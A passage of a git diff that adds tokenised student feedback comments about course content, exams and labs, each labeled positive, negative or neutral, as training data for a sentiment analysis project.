"positive"], [["not", "bad"], "positive"], [["teach", "good", "lecturer", "show", "partiality", "south", "people", "north", "people"], "neutral"], [["student", "boarding", "school", "jnv", "studied", "years", "residing", "hostel", "living", "lpu", "like", "still", "punctuality", "shown", "teachers", "students", "also", "staff", "security", "case", "student", "well", "manured", "classes", "regular", "sports", "daily", "participation", "well", "quality", "average"], "neutral"], [["term", "good", "regard", "university", "activity"], "positive"], [["good"], "positive"], [["give", "term", "good", "regard", "university"], "positive"], [["term", "good", "regard", "university", "activity"], "positive"], [["teacher", "experienced", "also", "unfair", "baised", "infact", "many", "teacher", "experience", "subject"], "negative"], [["going", "good"], "positive"]] \ No newline at end of file diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/feedback2.json b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/feedback2.json new file mode 100644 index 00000000..05da96ff --- /dev/null +++ b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/feedback2.json @@ -0,0 +1 @@ +[[["sometime", "none", "subject", "really", "helpful", "real", "world", "else", "waste", "money", "time", "every", "single", "student", "college", "learn", "skill", "outside", "course", "not", "learn", "thing", "course"], "negative"], [["vast", "outdated"], "negative"], [["bad", "poor"], "negative"], [["content", "theoretical", "give", "practical", "knowledge"], "negative"], [["not", "really", "bad", "necessary", "thing", "include", "good", "study", "material"], "neutral"], [["course", "material", "provide", "good", "knowledge", "depth"], "positive"], [["course", "content", "poor", "not", "upto", "date"], "negative"], [["course", "content", "excellent"], "positive"], [["course", "content", "easy"], "positive"], [["course", "good"], "positive"], [["course", "content", "advanced", "beginner", "able", "understand"], "negative"], [["material", "link", "provide", "study", "purpose", "good", "clarity", "depth", "course", "differs", "teacher", "teacher"], "positive"], [["fine", "focus", "towards", "practical", "knowledge", "rather", "theory", "base"], "neutral"], [["syllabus", "promotes", "rote", "learn", "cram", "practical", "knowledge", "involve"], "negative"], [["not", "good"], "negative"], [["needs", "lot", "improvement"], "negative"], [["content", "course", "good", "course", "need", "improvement", "course", "material", "not", "upto", "mark"], "neutral"], [["subject", "good", "remain", "course", "not", "satisfactory"], "neutral"], [["knowledge", "depth", "course", "good", "come", "material", "not", "upto", "mark", "knowledge", "depth", "course", "good", "come", "material", "not", "upto", "mark"], "neutral"], [["ome", "course", "irrelevant", "not", "related", "main", "stream", "subject", "not", "part", "syllabus", "instead", "practical", "technological", "related", "content", "include", "curriculum"], "negative"], [["content", "course", "change", "bit", "industry", "relevant", "thing", "like", "bitcoin", "software", "development", "include"], "neutral"], [["average", "content"], "neutral"], [["satisfactory"], "neutral"], [["good", "well"], "neutral"], [["content", "also", "satisfactory"], "neutral"], [["appropriate"], "neutral"], [["not", "really", "good", "bit", "outdated"], "neutral"], [["course", "content", "outdated"], "negative"], [["hate"], "negative"], [["practical", "content", "promotes", "rote", "learn"], "negative"], [["need", "change", "involve", "practical", "content"], "neutral"], [["bad"], "negative"], [["curriculum", "require", "change"], "neutral"], [["boring", "poor"], "negative"], [["not", "good", "need", "amendment"], "neutral"], [["content", "course", "average"], "neutral"], [["not", "good"], "negative"], [["course", "material", "provide", "good", "knowledge", "depth"], "positive"], [["content", "course", "perfectly", "line", "teach", "philosophy", "perpetuate", "cram", "rote", "learn"], "negative"], [["content", "course", "improves", "knowledge"], "positive"], [["yes"], "positive"], [["good"], "positive"], [["semester", "university", "provide", "best", "teacher"], "positive"], [["needs", "improvement"], "negative"], [["needs", "improvement"], "negative"], [["knowledge", "depth", "course", "good", "come", "material", "not", "upto", "mark"], "neutral"], [["knowledge", "depth", "course", "good", "course", "material", "not", "upto", "mark"], "neutral"], [["course", "content", "knowledgeable"], "positive"], [["content", "course", "good", "course", "need", "improvement", "course", "material", "not", "upto", "mark"], "negative"], [["good"], "positive"], [["good"], "positive"], [["material", "course", "not", "good", "enough"], "negative"], [["sometimes", "proper", "course", "material", "not", "require"], "negative"], [["easily", "available", "course", "material", "sufficient", "knowledge", "gain"], "positive"], [["material", "link", "provide", "study", "purpose", "good", "clarity", "depth", "course", "differs", "teacher", "teacher"], "positive"], [["course", "note", "knowledgeable", "proper"], "positive"], [["good"], "positive"], [["good"], "positive"], [["content", "course", "update", "mostly", "base", "current", "technology"], "positive"], [["needs", "improvement"], "negative"], [["good"], "positive"], [["teachers", "not", "give", "depth", "course", "try", "cover", "work"], "negative"], [["good"], "positive"], [["good"], "positive"], [["every", "thing", "fine"], "positive"], [["appreciable"], "positive"], [["satisfied"], "positive"], [["book", "recommend", "not", "contain", "appropriate", "content", "lead", "student", "depend", "slide", "give", "teacher", "hence", "knowledge", "remains", "superficial"], "negative"], [["awesome"], "positive"], [["proper"], "positive"], [["courses", "good", "useful"], "positive"], [["good"], "positive"], [["everything", "fine", "every", "thing", "taught", "depth", "even", "single", "point", "elaborate", "enough", "understand"], "positive"], [["courses", "good", "useful"], "positive"], [["content", "good", "enough"], "positive"], [["good"], "positive"], [["good"], "positive"], [["accurate"], "positive"], [["accurate"], "positive"], [["perfect"], "positive"], [["material", "provide", "beneficial", "provide", "much", "knowledge"], "positive"], [["fully", "knowledgeable"], "positive"], [["good"], "positive"], [["good"], "positive"], [["well", "plan"], "positive"], [["good"], "positive"], [["good"], "positive"], [[], "positive"], [["good"], "positive"], [["average"], "neutral"], [["content", "knowledgable", "give", "huge", "knowledge", "every", "subject"], "positive"], [["content", "enough", "donot", "need"], "positive"], [["good", "quallity", "content", "teacher", "donot", "upload", "ppts", "time"], "neutral"], [["course", "content", "good"], "positive"], [["content", "course", "knowledgeable"], "positive"], [["subject", "appropriate", "much", "depth", "require", "syllabus", "include", "basic", "not", "detail"], "neutral"], [["good"], "positive"], [["course", "irrelevant", "not", "related", "stream"], "negative"], [["many", "course", "irrelevant", "branch", "topic", "not", "cover", "proper", "material", "course"], "negative"], [["not", "bad"], "positive"], [["not", "bad"], "positive"], [["course", "material", "perfect"], "positive"], [["not", "bad"], "positive"], [["good"], "positive"], [["provide", "student", "helpful", "student"], "positive"], [["depth", "course", "less", "hand", "knowledge", "material", "good"], "neutral"], [["good"], "positive"], [["content", "not", "provide", "deep", "knowledge"], "negative"], [["average"], "neutral"], [["sometime", "irrelevent", "ongoing", "course"], "negative"], [["average", "one", "term", "two", "major", "subject", "base", "numerical"], "neutral"], [["helpful", "knowledgeable", "formality"], "neutral"], [["knowledgeable", "subject", "not", "dedicate", "material", "like", "book", "available"], "neutral"], [["optimum", "content"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["not", "appropriate"], "negative"], [["satisfied", "knowedgeable", "proper", "course", "material"], "positive"], [["good", "least", "one", "practical", "subject", "every", "semester"], "positive"], [["yes"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["not", "deep"], "negative"], [["course", "content", "much", "relevant", "course"], "positive"], [["course", "structure", "good", "follow", "today", "technology", "subject", "portion", "vast", "difficult", "cover", "sem"], "neutral"], [["good"], "positive"], [["good"], "positive"], [["content", "course", "good"], "positive"], [["syllabus", "not", "debth"], "negative"], [["excellent"], "positive"], [["good"], "positive"], [["per", "course", "sub", "provide", "worth", "knowledge"], "positive"], [["good"], "positive"], [["dont", "know"], "neutral"], [["come", "course", "well", "plan", "depends", "lecture"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["upto", "mark"], "positive"], [["good"], "positive"], [["good"], "positive"], [["excellent"], "positive"], [["content", "course", "ample", "depth", "must"], "neutral"], [["course", "good", "proper", "course", "material"], "neutral"], [["excellent"], "positive"], [["good"], "positive"], [["content", "course", "change", "bit", "industry", "orient", "feature", "like", "linux", "github", "must", "implement", "proper", "detail", "advanced", "knowledge", "require", "instill", "student", "course", "material", "good"], "negative"], [["good", "knowledgeable", "depth", "course", "good", "proper", "course", "material", "subject"], "positive"], [["average"], "neutral"], [["good"], "positive"], [["good"], "positive"], [["excellent"], "positive"], [["good", "also", "increase", "standard", "courses"], "positive"], [["course", "available", "university", "get", "scope", "teach", "course", "go", "point", "view", "bring", "best", "student", "indulge", "different", "activity", "project"], "positive"], [["content", "course", "enough", "get", "basic", "particular", "subject"], "positive"], [["course", "also", "good", "subject", "cse", "department", "year", "feel", "like", "burden", "upon"], "neutral"], [["rating"], "positive"], [["good", "work", "hard"], "neutral"], [["good"], "positive"], [["syllabus", "require", "time", "less", "student", "proper", "concentrate", "get", "knowlegde", "instead", "cover", "syllabusgood"], "negative"], [["good"], "positive"], [["compare", "university", "need", "well", "material", "exposure"], "negative"], [["good"], "positive"], [["content", "course", "increase", "depth"], "negative"], [["content", "provide", "excellent", "learnt", "particular", "subject"], "positive"], [["content", "course", "increase", "depth"], "negative"], [["good"], "positive"], [["good"], "positive"], [["opnion", "less", "content", "syllabus", "good", "syllabus", "depth", "include", "syllabus"], "negative"], [["faculty", "not", "upload", "ppts"], "negative"], [[], "positive"], [["good"], "positive"], [["excellent"], "positive"], [["good", "learn", "course"], "positive"], [["tough", "diffcult", "understand"], "negative"], [["nice"], "positive"], [["yeah", "well", "faculty", "not", "teach", "well", "schedule", "university", "superb", "university", "ask", "feedback", "really", "helpful"], "neutral"], [["good"], "positive"], [["content", "course", "good", "depth", "course", "not", "enough", "get", "good", "concept"], "neutral"], [["content", "sufficient"], "positive"], [["excellent"], "positive"], [["good"], "positive"], [["like", "communication", "class", "course", "good"], "positive"], [["give", "good", "knowledge"], "positive"], [["excellent"], "positive"], [["knowledgeable", "good", "depth", "course", "satisfy", "proper", "course", "material", "also", "good"], "positive"], [["good"], "positive"], [["every", "thing", "good", "subject", "good", "depth", "almost", "book", "available", "library"], "positive"], [["good"], "positive"], [["nice"], "positive"], [["not", "good"], "negative"], [["material", "provide", "university", "depth", "course", "course", "university", "knowledgeable"], "positive"], [["depth", "course", "much", "deep", "according", "essential"], "positive"], [["subject", "good", "predictable", "remaining", "course", "not", "satisfactory"], "neutral"], [["depth", "course", "good", "provide", "basic", "knowledge", "not", "deep", "subject", "least", "provide", "deep", "knowledge", "syllabus", "core", "subject"], "neutral"], [["like", "much", "every", "subject", "link", "real", "life", "situation", "every", "thing", "subject", "use", "full"], "positive"], [["depth", "course", "depend", "level", "student", "intake", "course", "material", "deliver", "class", "ums"], "neutral"], [["good"], "positive"], [["pretty", "good"], "positive"], [["good"], "positive"], [["not", "good", "enough", "want", "something"], "negative"], [["good"], "positive"], [["less", "time", "study", "less", "time", "paper", "attemting", "less", "time", "every", "thing", "less", "knowlege", "less", "depth", "course", "proper", "course", "material", "according", "exam"], "negative"], [["knowledge", "maximum", "gain", "reading", "book", "also", "teacher", "explain", "depth", "interested", "know"], "neutral"], [["improve"], "negative"], [["get", "maximum", "knowledge"], "positive"], [["knowledge", "maximum", "gain", "reading", "book", "also", "teacher", "explain", "concept", "depth"], "positive"], [["fine", "focus", "towards", "practical", "knowledge", "rather", "content", "base", "would", "helpful"], "neutral"], [["improve"], "negative"]] \ No newline at end of file diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/feedback3.json b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/feedback3.json new file mode 100644 index 00000000..5f8ffb5c --- /dev/null +++ b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/feedback3.json @@ -0,0 +1 @@ +[[["issue", "little", "bit", "old", "fashion"], "neutral"], [["exam", "pattern", "conduct", "really", "seem", "good", "first", "year", "go", "scrutiny", "first", "time", "not", "per", "expectation", "teachers", "marked", "answer", "per", "choice", "must", "look", "content", "rather", "length", "answer", "poor", "paper", "check"], "neutral"], [["not", "upto", "mark"], "negative"], [["not", "good", "improve"], "negative"], [["difficults", "exam"], "negative"], [["fine", "still", "improve"], "neutral"], [["worst", "examination", "pattern"], "negative"], [["examination", "pattern", "good", "class", "test", "mid", "term", "test", "final", "exam", "not", "conduct", "well", "time", "student", "able", "prepare", "satisfactorily"], "negative"], [["exams", "come", "quickly", "day", "minor", "minor", "major", "time", "constraint", "okay"], "neutral"], [["worst"], "negative"], [["okay", "okay", "improve"], "neutral"], [["could", "well", "right", "bad"], "negative"], [["university", "test", "student", "ability", "memorize", "stuff"], "negative"], [["difficulty", "level", "reduce", "otherwise", "okay"], "neutral"], [["paper", "check", "not", "upto", "mark"], "negative"], [["exam", "formality"], "negative"], [["average"], "neutral"], [["difficult"], "negative"], [["way", "difficult", "average", "student"], "negative"], [["exam", "pattern", "take", "different", "form", "fine"], "neutral"], [["well"], "neutral"], [["could", "get", "well"], "neutral"], [["lengthy", "paper"], "negative"], [["way", "difficult", "lengthy", "exam"], "negative"], [["lengthy", "exam", "not", "able", "solve", "time"], "negative"], [["theory", "question", "lengthy"], "negative"], [["marks", "distribution", "confuse"], "negative"], [["not", "good"], "neutral"], [["not", "good"], "neutral"], [["bad"], "negative"], [["average", "need", "not", "improvement"], "neutral"], [["ther", "always", "one", "error", "question", "formation", "paper", "set", "not", "good"], "negative"], [["hard", "level", "question", "ask", "not", "even", "syllabus"], "negative"], [["many", "time", "question", "ask", "otherwise", "fine"], "neutral"], [["descent"], "neutral"], [["examination", "pattern", "good"], "positive"], [["good"], "positive"], [["exam", "pattern", "mark", "cgpa", "depends", "various", "mark", "distribution", "like", "mte", "etc", "nice", "compare", "institution", "paper", "check", "not", "depend", "length", "ques", "material", "best", "part"], "positive"], [["university", "test", "student", "ability", "memorize", "stuff", "questions", "emphasize", "concept", "rather", "test", "brain", "cram", "storage", "house"], "negative"], [["examination", "pattern", "good"], "positive"], [["yes"], "positive"], [["good"], "positive"], [["like", "question", "pattern"], "positive"], [["good"], "positive"], [["good"], "positive"], [["university", "far", "well", "university", "come", "exam", "pattern", "mark", "disturbation", "come", "paper", "check", "bias", "correction", "equal"], "positive"], [["great"], "positive"], [["exam", "pattern", "good", "good", "paper", "check"], "positive"], [["pattern", "procedure", "examination", "good", "paper", "check", "need", "improve"], "neutral"], [["good"], "positive"], [["excellent"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good", "mark", "distribution", "students", "easily", "check", "performance", "throught", "semester"], "positive"], [["exam", "pattern", "conduct", "really", "seem", "good", "first", "year", "go", "scrutiny", "first", "time", "not", "per", "expectation", "teachers", "marked", "answer", "per", "choice", "must", "look", "content", "rather", "length", "answer", "poor", "paper", "check"], "neutral"], [["descent"], "positive"], [["excellent"], "positive"], [["excellent"], "positive"], [["exam", "pattern", "mark", "distribution", "well", "procedure"], "positive"], [["good"], "positive"], [["average"], "neutral"], [["statisfactory"], "positive"], [["good"], "positive"], [["not", "good"], "negative"], [["good"], "positive"], [["not", "much", "good", "students", "work", "hard", "get", "satisfactory", "result"], "negative"], [["good", "except", "paper", "check", "improve"], "neutral"], [["overall", "thing", "plus", "point", "university"], "positive"], [["not", "bad"], "positive"], [["gud"], "positive"], [["examination", "pattern", "good", "mark", "distribution", "confuse"], "neutral"], [["exam", "pattren", "good", "mark", "distribution", "also", "good", "paper", "cheacking", "tight"], "positive"], [["everything", "fine"], "positive"], [["examination", "pattern", "good", "mark", "distribution", "confuse"], "neutral"], [["satisfactory"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["accurate"], "positive"], [["neither", "good", "bad"], "neutral"], [["exam", "pattern", "good", "good", "paper", "check"], "positive"], [["excellent"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["excellent"], "positive"], [["examination", "pattern", "mark", "paper", "check", "good"], "positive"], [["many", "examination", "frustrate"], "negative"], [["much", "examination"], "neutral"], [["average"], "neutral"], [["examination", "include", "exam", "pattern", "good", "way", "mcqs", "shouls", "give", "student", "preparation", "exam"], "positive"], [["level", "examination", "raise", "questions", "reason", "must", "include"], "negative"], [[], "positive"], [["fair", "mark", "scheme", "adaptable", "pattern"], "positive"], [["pattern", "examination", "good", "paper", "check", "not", "go", "good", "way"], "neutral"], [["not", "negative", "mark"], "negative"], [["thing", "good"], "positive"], [["not", "negative", "mark"], "negative"], [["not", "negative", "mark"], "negative"], [["not", "bad"], "positive"], [["good"], "positive"], [["like", "satisfied", "work"], "positive"], [["good"], "positive"], [["excellent"], "positive"], [["quite", "good"], "positive"], [["good"], "positive"], [["poor"], "negative"], [["exam", "pattern", "good", "good", "paper", "check", "paper", "check", "improve"], "positive"], [["exam", "pattern", "good", "well", "mark", "distribution", "paper", "check", "varies", "faculty", "faculty"], "positive"], [["excellent"], "positive"], [["good"], "positive"], [["excellent"], "positive"], [["good"], "positive"], [["good"], "positive"], [["mark", "distribution", "good", "paper", "check", "not", "well"], "neutral"], [["satisfied"], "positive"], [["excellent"], "positive"], [["good"], "positive"], [["good"], "positive"], [["tough"], "negative"], [["good"], "positive"], [["excellent"], "positive"], [["good"], "positive"], [["good"], "positive"], [["bad"], "negative"], [["examination", "pattern", "good", "mcq", "paper", "check", "mark", "not", "correct", "sometimes"], "neutral"], [["strict"], "negative"], [["good", "way", "pattern"], "positive"], [["good"], "positive"], [["good"], "positive"], [["not", "good"], "negative"], [["good"], "positive"], [["per", "exam", "pattern", "math", "exam", "always", "subjective", "rather", "objective"], "negative"], [["good"], "positive"], [["bad", "thing", "not", "sow", "answer", "mcq", "exam", "dont", "jiged", "rigth", "rong", "mak", "mistacvk"], "negative"], [["hand", "lecture", "mte", "ete", "good"], "neutral"], [["think", "mid", "trem", "also", "subjective"], "neutral"], [["exam", "pattern", "mark", "distribution", "good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["examination", "pattern", "mark", "distribution", "term", "good", "mte", "also", "give", "chance", "student", "improve"], "positive"], [["good"], "positive"], [["examination", "please", "try", "give", "question", "paper"], "neutral"], [["good"], "positive"], [["good", "strict"], "positive"], [["not", "much", "good"], "negative"], [["exam", "conduct", "good", "paper", "correction", "bad"], "neutral"], [["examination", "pattern", "good", "logic", "base", "subjective", "question", "ask", "base", "upon", "conceptual", "learn", "paper", "check", "must", "do", "lucid", "manner", "many", "doubt", "arise", "check", "omr", "sheet"], "neutral"], [["good"], "positive"], [["best", "pattern", "examination", "lpu"], "positive"], [["mid", "term", "percentage", "increase", "student", "get", "choice", "get", "success", "examination"], "neutral"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["examination", "system", "university", "impressive", "sit", "plan", "student", "make", "way", "student", "class", "give", "exam", "room", "even", "sometimes", "block", "student", "also", "get", "know", "visit", "different", "block", "university", "check", "also", "fair"], "positive"], [["everything", "pretty", "well", "organise"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["subject", "like", "math", "english", "passage", "write", "time", "duration", "neds", "increase"], "negative"], [["pattern", "good", "mark", "distribution", "include", "attendence", "little", "complicate"], "neutral"], [["good"], "positive"], [["every", "thing", "fine"], "positive"], [["good"], "positive"], [["probably", "best", "part", "university", "examination", "pattern"], "positive"], [["never", "see", "type", "examination", "good", "pattern"], "positive"], [["best"], "positive"], [["good"], "positive"], [["good"], "positive"], [["examination", "pattern", "good", "blunder", "mistake", "alternate", "check", "mistake", "do", "morever", "question", "paper", "also", "not", "give", "discussion", "suggest", "provide", "option", "check", "mistake", "mcq", "exam", "midterm"], "negative"], [["good"], "positive"], [[], "positive"], [["good"], "positive"], [["excellent"], "positive"], [["time", "not", "sufficient"], "negative"], [["good"], "positive"], [["exam", "pattern", "good"], "positive"], [["excellent"], "positive"], [["every", "thing", "excllent", "paper", "check", "not", "good"], "neutral"], [["get", "answer", "key", "even", "question", "paper", "mcq", "exam", "mean", "could", "recheck", "answer", "get", "know", "mistake", "make"], "negative"], [["exam", "pattern", "nice", "paper", "check", "not", "good"], "neutral"], [["good"], "positive"], [["good"], "positive"], [["exam", "pattern", "good", "give", "question", "paper", "student", "helpful"], "neutral"], [["well"], "positive"], [["excellent"], "positive"], [["exam", "pattern", "good", "marks", "distribution", "good", "sometimes", "disappoint", "paper", "check"], "positive"], [["yeah", "obviously", "good"], "positive"], [["exam", "pattern", "completely", "different", "entire", "exam", "objective", "orient", "resumbling", "education", "abroad", "review"], "positive"], [["everything", "good"], "positive"], [["everything", "good"], "positive"], [["excellent", "check", "procedure", "not", "exceptable", "since", "fail", "know", "fault", "mid", "term"], "neutral"], [["excellent", "exam", "pattern", "paper", "check", "university", "easy"], "positive"], [["like", "mark", "system", "appart", "everything", "great"], "neutral"], [["returning", "question", "paper", "exam", "expect", "clear", "clarify", "doubt", "regard", "particular", "subject"], "negative"], [["examination", "pattern", "excellent"], "positive"], [["good"], "positive"], [["exams", "conduct", "upon", "basis", "revise", "chapter", "upto", "point", "mark", "distribution", "appropriate", "paper", "check", "good"], "positive"], [["hard", "paper", "main", "concept", "paper"], "neutral"], [["good"], "positive"], [["not", "good"], "negative"], [["strict", "paper", "correction"], "negative"], [["super", "paper", "check", "not", "good"], "neutral"], [["nice", "timing"], "positive"], [["good", "negative", "mark", "pattern", "exam", "time", "not", "sufficient", "question"], "neutral"], [["exampattern", "good", "marks", "distribution", "also", "good", "paper", "checking", "hard"], "positive"], [["good"], "positive"], [["examination", "pattern", "good", "time", "not", "sufficient", "question"], "neutral"], [["mcq", "pattern", "quite", "good", "efficient", "way", "evolve", "student"], "positive"], [["paper", "checking", "hard", "remaining", "good"], "neutral"]] \ No newline at end of file diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/feedback4.json b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/feedback4.json new file mode 100644 index 00000000..3f29d46b --- /dev/null +++ b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/feedback4.json @@ -0,0 +1 @@ +[[["lab", "not", "take", "properly", "proper", "time"], "negative"], [["well", "good", "infrastructure", "trend", "software", "lab"], "positive"], [["small", "not", "good", "equiment"], "negative"], [["labs", "not", "well", "equip"], "negative"], [["faulty", "equipment"], "negative"], [["poor", "lab"], "negative"], [["online", "lab", "not", "mark", "teacher", "not", "enough", "knowledge", "software", "course", "lab"], "negative"], [["equipment", "facility", "laboratory", "need", "many", "improvement", "old", "fashion", "even", "work", "require"], "negative"], [["lab", "apparatus", "not", "mark"], "negative"], [["poor", "outcome", "laboratory", "could", "call", "local", "small", "group"], "negative"], [["equipment"], "negative"], [["old", "equipment", "nothing", "new", "dic", "great", "job"], "negative"], [["need", "improvement"], "neutral"], [["lab", "conduct", "viva", "question", "related", "lab", "ask"], "negative"], [["okay", "not", "good"], "neutral"], [["essential", "thing", "perform", "experiment", "always", "miss"], "negative"], [["broken", "equipment"], "negative"], [["going", "fine"], "neutral"], [["equipment", "sufficient", "good"], "neutral"], [["not", "good", "essential", "stuff", "perform", "experiment", "miss"], "neutral"], [["lab", "good"], "neutral"], [["apparatus", "okay", "condition", "not", "good"], "neutral"], [["equipment", "facility", "laboratory", "need", "many", "improvement", "old", "fashion", "even", "work", "require"], "negative"], [["proper", "instruction", "give", "use", "lab", "equipment"], "negative"], [["lab", "need", "advanced", "equipment"], "negative"], [["lab", "quipments", "not", "good", "condition"], "negative"], [["proper", "knowledge", "give", "lab", "tool"], "negative"], [["need", "improvement"], "neutral"], [["lab", "great", "facility", "sometimes", "stop", "work", "suddenly"], "neutral"], [["satisfactory"], "neutral"], [["lab", "need", "fund", "proper", "tool", "available"], "neutral"], [["tool", "not", "proper"], "neutral"], [["although", "lab", "good", "practical", "information", "related", "give"], "neutral"], [["practical", "thing", "do", "lab"], "negative"], [["lab", "waste", "time", "apart"], "neutral"], [["not", "satisfactory", "lab", "work", "must", "include", "late", "technology"], "negative"], [["good"], "positive"], [["lab", "work", "properly", "cover", "lab", "faculty", "evaluation", "help", "learn", "practical", "knowledge", "depth"], "positive"], [["infrastructure", "not", "good"], "neutral"], [["practical", "work", "provide", "detail", "knowledge", "theoretical", "work"], "positive"], [["sufficient", "tool", "available"], "positive"], [["not", "good", "sufficient", "tool", "not", "available"], "negative"], [["everything", "go", "fine", "lab", "learn", "new", "thing", "good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["lab", "practical", "not", "upto", "mark", "topic", "practice", "almost", "already", "do", "btech"], "negative"], [["not", "upto", "mark"], "negative"], [["lab", "improves", "practical", "knowledge"], "negative"], [["sometimes", "system", "lab", "screw", "otherwise", "everything", "respect", "desk"], "neutral"], [["good"], "positive"], [["good"], "positive"], [["practical", "work", "fair"], "positive"], [["good"], "positive"], [["practical", "easy", "learn"], "positive"], [["evaluation", "bad", "one", "faculty", "really", "weird", "give", "remark", "basis", "present", "thing", "front", "never", "look", "content", "answer", "really", "annoy", "expect", "deliver", "answer", "way", "want", "person", "people", "different", "mentality", "explain", "different", "manner", "teacher", "must", "understand", "quality", "child", "give", "mark", "basis", "say", "not", "say"], "negative"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["well", "good", "infrastructure", "trend", "software", "lab"], "positive"], [["good"], "positive"], [["average"], "neutral"], [["hour", "practical", "long", "hour"], "negative"], [["good"], "positive"], [[], "positive"], [["practicle", "must", "hour"], "negative"], [["good", "also", "depends", "teacher", "knowledge", "student", "interest"], "positive"], [["good"], "positive"], [["average"], "neutral"], [["much", "lanlb", "file", "work"], "negative"], [["evaluation", "method", "gud", "content", "write", "file"], "neutral"], [["excellent"], "positive"], [["good"], "positive"], [["think", "electrotherapy", "practical", "hour", "enough", "think", "rest", "fine"], "neutral"], [["excellent"], "positive"], [["lab", "duration", "hour", "long"], "negative"], [["average"], "neutral"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["lab", "evaluation", "pretty", "good", "help", "lot"], "positive"], [["good", "material", "lab"], "positive"], [["much", "good"], "positive"], [["good"], "positive"], [["average"], "neutral"], [["difficult", "understand", "experiment", "hour"], "negative"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["lab", "work", "also", "good"], "positive"], [["lab", "work", "quite", "good"], "positive"], [["lab", "activity", "good", "not", "satisfactory", "explain", "point", "view"], "neutral"], [["help", "improve", "skill"], "positive"], [["lab", "work", "nice"], "positive"], [["practical", "work", "include", "evaluation", "good", "student", "learn", "practicals"], "positive"], [["laboratory", "provide", "good", "knowledge", "practicals"], "positive"], [["good"], "positive"], [["practical", "work", "lab", "not", "upto", "mark"], "negative"], [["lab", "good", "experiment", "not", "informative"], "neutral"], [["lab", "not", "practically", "built"], "negative"], [["good"], "positive"], [["practical", "work", "good"], "positive"], [["good"], "positive"], [["super"], "positive"], [["best", "university", "university", "take", "seriously", "practical", "work"], "positive"], [["time", "lab", "not", "proper", "work", "teacher", "practical", "knowledge", "less", "side", "evaluation", "not", "much", "good"], "negative"], [["good"], "positive"], [["satisfactory"], "positive"], [["poor", "equipment"], "negative"], [["poor"], "negative"], [["poor", "equipment"], "negative"], [["lab", "practicals", "evaluation", "average", "need", "lot", "change", "improvement"], "negative"], [["lab", "practical", "work", "improve", "meet", "industrial", "standard"], "negative"], [["excellent", "work"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["hard", "find", "computer", "work", "lab", "students", "not", "save", "data", "one", "single"], "negative"], [["good"], "positive"], [["not", "good", "becouse", "lab", "teacher", "donot", "teach", "work", "live", "project", "make", "live", "project", "ovserved", "whatever", "teacher", "teachig", "lab", "not", "usefull", "future", "life"], "negative"], [["not", "good", "timing", "much", "lab", "syllabus", "also", "vast", "get", "propr", "revision"], "negative"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["satisfactory"], "positive"], [["hate"], "negative"], [["good"], "positive"], [["practical", "work", "interest", "different", "teacher", "evaluate", "way", "teacher", "section", "give", "mark", "without", "take", "viva", "not", "give", "mark", "accordingly"], "negative"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["per", "lab", "evaluation", "satisfied"], "positive"], [["good"], "positive"], [["lab", "practical", "work", "litial", "good"], "positive"], [["not", "good", "must", "improve"], "negative"], [["good"], "positive"], [["good"], "positive"], [["bad"], "negative"], [["good"], "positive"], [["good"], "positive"], [["help", "practicals", "student", "able", "understand", "concept", "also", "good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["lab", "good"], "positive"], [["good"], "positive"], [["not", "good", "must", "improve"], "negative"], [["lab", "evaluation", "good"], "positive"], [["good", "improve"], "neutral"], [["teacher", "even", "bother", "practical", "perform", "student", "give", "mark", "see", "face", "something", "like"], "negative"], [["good", "mark", "not", "give", "properly"], "negative"], [["good"], "positive"], [["excellent"], "positive"], [["practicals", "good", "evaluation", "not", "give", "enough", "time", "work"], "neutral"], [["conduct", "proper", "way"], "positive"], [["teachers", "suppose", "let", "student", "know", "actual", "use", "instrument", "use", "lab"], "neutral"], [["excellent", "work", "hard", "way", "teach", "also", "pretty", "good"], "positive"], [["average"], "neutral"], [["good"], "positive"], [["lab", "lecturer", "interact", "student", "improve", "knowledge", "way", "give", "work", "must", "explain", "experiment", "come", "know", "perform", "take", "precaution"], "neutral"], [["good"], "positive"], [[], "positive"], [["fine"], "positive"], [["good"], "positive"], [["number", "lab", "practicals", "enhance", "practical", "knowledge"], "negative"], [["able", "every", "thing", "valuable", "support"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["sufficient", "lab", "equipment", "lab", "avilable", "euipments", "also", "not", "perfect"], "negative"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["super"], "positive"], [["good", "lean", "lab", 